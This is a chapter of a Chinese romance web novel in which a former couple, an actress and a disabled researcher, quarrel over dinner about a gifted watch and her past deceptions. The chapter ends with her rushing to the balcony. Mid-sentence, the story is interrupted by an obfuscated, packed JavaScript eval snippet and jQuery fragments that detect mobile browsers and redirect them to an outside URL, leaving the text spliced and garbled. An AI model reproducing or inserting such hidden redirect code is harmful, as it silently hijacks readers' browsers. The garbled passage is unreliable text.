那日靳子煜只将她送到楼下，没再上去。
就像拒绝那个女人一样，也拒绝了她。
几天后，孟秦书从外省回来，给靳子煜发了条信息，请他晚上来家里吃饭。
一直等到中午十一点，他都没有回复。
孟秦书心想：或许在忙吧。
她窝进沙发里，抱着手机，点开外卖软件，选了沃尔玛超市，下单猪肉、牛肉和一些蔬菜，预约下午一点送达，备注放在门口、按两下门铃就好。
不知不觉睡着了，是被突然响起的门铃惊醒的。
她开门，地上躺着两只鼓鼓囊囊的超市购物袋。
刚弯腰碰到拎手，对面的门忽然打开了。
“小姑娘，刚搬来的吗？”
声音苍老，是位老太太。
孟秦书直起身，面向这位一头银白短卷发的时髦老人，点了点头，微微一笑。
“那一家子搬走了？不是说房子十月底才到期吗……”老太太皱着眉喃喃自语。
孟秦书正要拎袋子，老太太又忍不住问：“小姑娘，你一个人住啊？”
“一个人。”她答。
“做什么工作的呀？”老太太浑浊的眼里闪过一丝讶异。
孟秦书大概明白她在惊讶什么——这儿的房租不便宜，寻常工作可负担不起。
她随口编道：“视频主播。”
老太太眼底马上划过一丝若有若无的嫌弃，极轻地“哦”了一声，随后退回屋里，拉上了房门。
厨房出来，靳子煜的信息回了过来。
他说，这三天他都在京大交流，上午一直在开会，中午吃饭时看到了她的消息，本来要回，被同行的老师打断了，后来就忘了。现在刚结束下午的学术活动，正准备出发去机场，预计四点能到。
这是第一条。他认真解释了原因，却没说来不来吃饭。
第二条是十分钟后发来的。孟秦书正在切牛肉，放下刀，用厨房纸擦净手，拿起手机。
YU：【六点到。】
——
靳子煜五点十分回到公寓。
他走进房间，换下挺括的白衬衫和西裤，穿上深咖色Polo衫和黑色休闲长裤。
临出门前，他从玄关柜里取出一只深蓝色礼品袋，把假肢机构定制的包跟拖鞋竖着放进去，拎着袋子关上了门。
夏日的太阳，即便到了傍晚依旧灼眼。天边的云被晕染成层层叠叠的金红。
孟秦书整个人沐在橙红交织的晚霞中，她俯瞰楼下人来人往的小区主路，尽管知道汽车不会从这里开过，仍会有一丝不切实际的期许，如果靳子煜在人群中呢。
厨房里，砂锅炖的红烧牛肉又一次滚沸，咸鲜的香气飘到阳台，钻进她的鼻尖。
觉得时间差不多了，孟秦书拉起窗帘，转身径直走入厨房。
门铃声响起时，孟秦书刚摆好饭菜，她急匆匆地过去开门。
靳子煜站在门口，一手握着手杖，一手拎着一个礼品袋。
礼品袋是浅蓝色的，里面是一双灰色的绒毛鞋子，类似乐福鞋。
上门自备拖鞋，她有些被靳子煜的操作震惊到，只能吞咽一口唾沫来让自己表现得不那么失措。
孟秦书视线快速从袋子上掠过，抬头迎上靳子煜漆黑明亮的眼睛。
他太高了，虽然她也不矮，眼前因被他挡住光线而落下一小片阴影。
她退着往里走了数步，虚靠着玄关墙壁，请他进屋。
靳子煜拄着手杖进门，用拎袋子的手将门轻轻地关上。他低眸，就看见鞋凳前那双深蓝色四季款男士拖鞋。
拖鞋颜色鲜艳，亦没有踩踏痕迹，纯新的。
孟秦书顺着他的视线看去，连忙弯腰将它拿起，拉开对面的鞋柜放了进去。
她正想着米饭还没盛，刚要转身，却听见靳子煜在身后低声开口：“假肢穿不住普通拖鞋。这双是定制的，家里常备着……虽然我平时很少穿它们。”
孟秦书回过头，正瞧见他将礼品袋轻轻地丢在凳子旁。
手杖也被他靠着鞋柜，然后他右手扶住柜门，指节微微曲起，借着支撑缓缓下移，慢慢坐到凳角上。
他俯下身，轻薄的衣料下透出脊柱起伏的线条。柔和的灯光铺洒下来，淡化了那些棱角的硬度。
很快他换好了鞋，抬眼对上她垂落的视线。
四目相接间，他眼瞳里盛着大片光，像天际明亮的星，轻轻一弯：“我会带回去的，不能让别人误会。”
孟秦书心跳漏了一拍，说不上来的感觉。一时接不上话，她转身往厨房走去。
餐厅桌上，香菇青菜、红烧鲈鱼、红烧牛肉、清炒四季豆，再加一盅菌菇汤，四菜一汤正冒着腾腾热气。
孟秦书见靳子煜愣愣地站在椅子侧边，笑笑说：“尝尝我的手艺，没你做的好吃，但也凑合。”
他的惊讶，她意料之中。
多年前，她别说整这一桌子菜了，煮个馄饨都能煮成片汤。
那是在靳子煜家里。他右腿发炎，还发着烧，却仍要起身给她做早饭。她把他按回床上，信誓旦旦地保证，一定能给他做一顿像样的早餐。
哪曾想，光开燃气就把她难住了。
她记得家里的燃气灶，保姆一拧开关就能打开，可他家里的怎么拧都点不着火。
她只好去请教他，躺不住的人，拄着拐杖陪她进厨房给她打火。
原来是橱柜下面还有个燃气开关，得先往左拧开。
靳子煜怕她把厨房炸了，索性拖了张凳子坐在旁边，像老父亲一样一步一步教：
“水开了，现在下馄饨。”
“要轻轻搅，不然会粘底。”
“动作别那么重……轻一点。”
最后，馄饨还是成了片儿汤。
两人对着那碗糊糊笑了半天，厨房里热气蒸腾，全是他们的笑声。靳子煜吃的时候肩膀还一抖一抖的。
从那以后，他再没让她碰过灶台。
大概真是被她的“手艺”吓怕了。
突然，楼下传来女人夸张尖锐的喊声：“晨晨！别乱跑！”声音穿透百叶帘，一把将她拽回现实。
孟秦书整个人轻颤了一下，缓缓转头，只见靳子煜原本微微上扬的嘴角，已悄然抿平。
他是不是……也想起了那碗片儿汤？
晚饭在相对无言的环境中吃完，孟秦书收拾桌子时，靳子煜说了句，我来吧。
便将她手里的饭碗拿了去，他俯身，将两支碗和两个空盘叠起来，双手捧着它们，慢慢地走进厨房。
腿形微微外八，脚步微晃。
水龙头哗啦啦地放水声中，男人清润极磁性具穿透力的声音隔着厨房移门传出。
“谢谢，饭菜很好吃。”
孟秦书盯着门玻璃上他弯身洗碗的剪影，唇角微扬。
收拾完后，孟秦书请靳子煜到沙发坐下休息。
他取了靠墙的手杖，拄着走了过去。
孟秦书则穿过客厅进了卧室，不多时拿着一个表盒出来，在他对面坐下。
“这只手表送你……谢谢你出钱帮我租房子。”
深胡桃木拼接皮质的方形表盒，边角圆润，中央的鎏金Logo泛着温润的贵气。
靳子煜目光掠过，没接。
“一个朋友知道我在港城拍广告，转了几万块钱让我帮他带只表……”孟秦书语气随意，“这些人仗着有点钱，喜欢什么都是三分钟热度。我带回来，他不要了，连钱也没让我还。我想着这么好的东西，丢了可惜，我自己又用不上……给你吧。”
靳子煜淡淡看着她，语气平直：“什么朋友？”
“普通朋友。”她答。
房间空调开着，设定在22度。待了一整天都不觉得冷，此刻后颈却隐隐发凉。
她想，或许是入夜降温了。
靳子煜用一种近乎学术审视般的目光看着她，一字一句道：
“普通朋友，让你带几万块的表，然后说不要就不要了，钱也不要了。”
她低低“嗯”了一声，不觉得这话里有什么漏洞。
她身边确实有这样的人。同公司那位和她咖位相近的女艺人，别说几万的表，十几万的包也是说丢就丢。
靳子煜薄唇抿成一条直线。
孟秦书说起谎来脸不红心不跳，那双黑白分明的眼睛里写满了真诚。若不是看到了热搜，他真的会被她骗过去。
呵，差点忘了，当年不正是用这种挑不出错的演技，将他骗得真以为她会爱上他。
为什么？她身边从来不缺围着她转的男人，为什么选择他，又为什么要骗他？
一股酸涩猛然从心口涌上喉咙，他重重地吞咽了一下，强行压住即将溃堤的情绪。
“孟秦书，在你眼里，我是不是只配用别人不要的东西？”他的声音又沉又哑夹着些微愠意。
客厅主灯可以调节三色，孟秦书一向调到最亮的那一档。
而此刻，光影之下，因靳子煜这句话，她脸上血色倏地褪尽，苍白得像张脆薄的纸。
孟秦书摇了摇头：“我……我不是这个意思。”
她吸了口气，继续看着他的眼睛，声音低低地说：“可我们第一次约会的时候，你不是说你身上那件衬衫是小秦借你的，耐克包是小罗硬给你挂上的，还有陈凡山借你的那条金光闪闪的爱马仕皮带……你那时候怎么……”
靳子煜脸色越来越沉，唇角微微搐着，像在极力忍耐。
她又吸了口气，续道：“你那时怎么没觉得它们是别人不要的、施舍的……那天你穿它们来见我明明很开心。”
靳子煜凝着她，牵了牵唇角，一字一句：“那是一回事吗？”
“我觉得差不多……”
“孟秦书——”
靳子煜一时没控制住，声音扬高了一度，但立刻意识到失态。他别开视线，将客厅扫了一圈，才重新看向她那双写满认真的眼睛。
孟秦书离开的第一年，他努力回想，两人之间相处中有哪些他遗漏的、被他忽略的、她并不爱他的证据——没有，竟然一件都没有。
他和孟秦书第一次约会前，陈凡山他们得知他要去“办大事”，嫌他平日穿得太土，于是每人拿出一件行头硬塞给他。
额发全被梳到头顶，喷上亮晶晶的发胶，白衬衫解开一粒扣子，首次穿西装裤，又因为是陈凡山上万块的裤子，他没卷裤腿，于是扁扁的裤管随风飘飞。
那天她却夸他特别帅。所以，她到底是怎么对着一个不喜欢的男人，演得那么真的？
靳子煜换了口气，索性也换了个话题：“你不是说，你在B市拍戏吗？怎么去了港城？所以，是骗我的？六年了，你还是这样。想来就来，想走就走，想骗就骗。”
那个“骗”字让孟秦书蓦地挺直了背脊。她介意这个字，就像有些人介意被说“愚蠢”一样——因为事实如此。
额前碎发垂下一缕，微掩住他冷白的额头。那张白玉般温润的侧脸线条，此刻像一把薄凉的刀。
阴影与光线交织在经脉跳动的额角以及漆黑冷漠的瞳仁里，更令她心底生寒。
她何曾见过靳子煜这副模样。心里除了发毛，还有细细密密的刺痛。
是，过去她无可辩驳，可这件事她并非存心骗他。只是……觉得以他们现在的关系，说出来反而可能惹他厌烦。
孟秦书张口，刚溢出一声“不是——”
就被靳子煜毫不客气地打断。
“你和那个叫池俊的男演员，你们一起去港城，去IWC选手表，一起上热——”
他的声音不高，甚至可以称得上温和，所有怒意都积攒在那双黑沉的眸子里，“孟秦书你能不能告诉我，你到底想做什么？我们之间现在算什么？故交？旧友？还是你一时兴起的消遣对象？”
只是越说越激动，靳子煜自己也意识到了，随即收住更多的话，仓促地别过头，看阳台上拉上的淡黄色遮阳帘，该是窗玻璃没关，帘角总被风吹起又落下。
像他此刻不稳定的心律，快速地一上一下。
孟秦书低眸，不作声，长久以来令她困惑的事，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025927|194400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她好像找到了答案。
还以为像他们这种搞研究的人，不会关注什么娱乐新闻。
原来这三年她在电视、大银幕上，甚至那些乱七八糟的绯闻，他都知道……时常看见前女友在屏幕上出现，他心里真能毫无波澜？
男人果然和女人的思维不一样。她从收到他那盒代表问候的礼物开始，就一发不可收拾地想重新拥有他。
孟秦书缓抬眼，看着他冷硬的侧脸放慢语速，解释：“我和池俊只是朋友。我去港城这件事，和他更没关系，我们只是偶然遇到。是，我承认，我以前骗过你，我后悔……一直后悔。但我不是一时兴起，你也不是什么消遣的对象——”
她想解释的、想说得太多，反而不知从何说起，变得语无伦次。
眼泪涌上来，她的视野一片模糊。
靳子煜仍在注视着她：“如果你是觉得愧疚，想补偿什么，真的不必。如果你是觉得无聊，想找个人重温旧梦……请换个人。”
孟秦书眨了眨眼，视线清晰了些，却也因而挤出一大颗泪珠，顺着脸颊滚落。
“表是我自己买的，我和池俊真不是那种关系，他是我在福利院时候认识的朋友。”
靳子煜：“你不必和我解释这些。”
从他坐在这里之后，他的每一个表情，每一句话，都像锋利的冰刃，一刀又一刀地刮过她的身体。
每道伤口都是鲜血淋漓、皮开肉绽。
她控制不住地瑟瑟发抖。
只凭着右手死死抓住沙发边缘，才勉强稳住这具摇摇欲坠的身体。
时间仿佛停摆，屋里的一切都迷离不清，像被雾气缠绕的镜子。
靳子煜咬住牙关数秒，将眼中的滚烫逼了回去：“你是什么样的人，我们心知肚明。你要证明魅力，要人围着你转，我理解。但你不必在我这里费心思，至于表是你买的还是别人送的，没什么分别。”
“还有——”
他冷漠地盯住孟秦书发抖中的薄削双肩，心却突然一坠，仿佛一脚踏空掉下万丈深渊。
他很讨厌自己总被她轻易牵动情绪。
算什么呢。
他强迫自己移开目光，说出后半句：“我不喜欢‘竞争上岗’这种游戏。
“哐！”
茶几被猝然起身的孟秦书用腿撞开。
只见她垂在身侧的双手狠狠握紧，仿佛能听见骨节咯吱作响。
靳子煜震动的视线，从她这双手沿着剧烈起伏的身体一路往上走，最后停在她因愤怒而青白的脸上。
心脏传来一阵阵被重捏般的痛楚。他撑住沙发，勉力地站了起来。
“审判完了吗？对，我一直在骗你。”
孟秦书眸光倏然转冷，语调仍带一丝颤音：“那我告诉你，六年前在河边，我扔了你给我买的那只手镯，告诉你我‘玩腻了’，从来没爱过你，我是骗你的；这三年，你在微博、新闻里看到我代言不断，在八卦头条里看到我名利双收，所有人都说我孟秦书风光无限、如鱼得水……靳子煜，那些光鲜亮丽，也是骗你的；我买了一块手表，绞尽脑汁编一个送表的理由，我站在这里，忍受你所有的审判和讽刺——你以为这只是游戏或者证明吗？靳子煜，这还是骗你的。”
“你信吗？”
恍若被闪电击中，靳子煜身体骤然一震，脸色转瞬惨白。
他双唇哆嗦着，那双盈满泪水的眼睛仿佛波涛汹涌的海面。
孟秦书看着他的样子，抽了抽鼻子，将泛滥的酸楚咽下喉咙。
靳子煜在背后怎么骂她、怎么设想她这个人，她听不见，尚且可以掩耳盗铃。她承认自己有罪，但他曲解她、假想她，通过贬低他自己来侮辱她，那么，她就不可能再任由他“胡言乱语”。
孟秦书扬起下巴，天性里的矜傲显露无遗：“我是个说谎精，我不否认。但靳子煜，如果我真想玩，有的是人排着队陪我玩深情游戏，我何必在你这里费尽心思编这么蹩脚的理由？同理，如果我对你真的一文不值，你又何必坐在这里，字斟句酌地羞辱我？”
这句话落下，靳子煜退后半步。可她惨淡的脸色、她的眼泪、那一两分悔意，还有她咄咄逼人的语气，彻底扰乱了他大脑的思考能力。
某根神经仿佛扎进了烧红的针，火炙般的痛感在分秒间游走全身。
“何必呢？”他轻笑摇头，笑自己。
眼前这个女人，他曾贪恋她的美丽，贪恋她只对他绽放的笑颜，贪恋她留在他身上的温度……是他不自量力了。
靳子煜的眼神不复温煦，变得冷酷而凌厉：“孟小姐这是戏瘾又犯了吗？你设计的剧本里，是不是连我的反应都算好了？愤怒、受伤，然后在你揭晓‘真相’时愧疚、感动？靳子煜这个残废，应该对你感恩戴德，对吗？”
如遭冰水浇头，孟秦书浑身的血液都冷透了。
她下意识后退，小腿磕在沙发边缘上，微末的力道却让她瞬间失去平衡，跌坐进沙发里。
没有痛感，只有一种彻骨的清醒。
她彻底明白了。
靳子煜对她的恨，早已浸入骨髓。她所有的出现、解释乃至此刻捧出的心意，他眼里不过是一场刻意又拙劣的表演。
那只手表盒，此刻成了罪魁祸首。在她眼里忽然无比刺目，巨大的荒谬感和绝望如岩浆般喷涌，须臾，烧干了她眼底的泪意，她伸手一把抓住盒子。
噌地起身，手指竭力掐着盒身，用力到指节泛白。
靳子煜旋即察觉到孟秦书的不对，他心里顿慌，朝她伸出手，可还是迟了一步。
孟秦书绕过茶几，径直快步走向阳台。
“小书！！”
靳子煜心中大骇，不及思考，跌撞地冲过去，眼看她双臂一展，拉开帘子。
浓稠的黑暗将她身形包裹，铺天盖地的大恐慌刹那间攫住了靳子煜的喉咙。
腿下一绊，他重重摔在地上，“砰”一声闷响，地面震动。
而他伸到极限的指尖只差一寸就能抓住她的脚踝。
他喉咙里撕心裂肺地喊，不要！不要！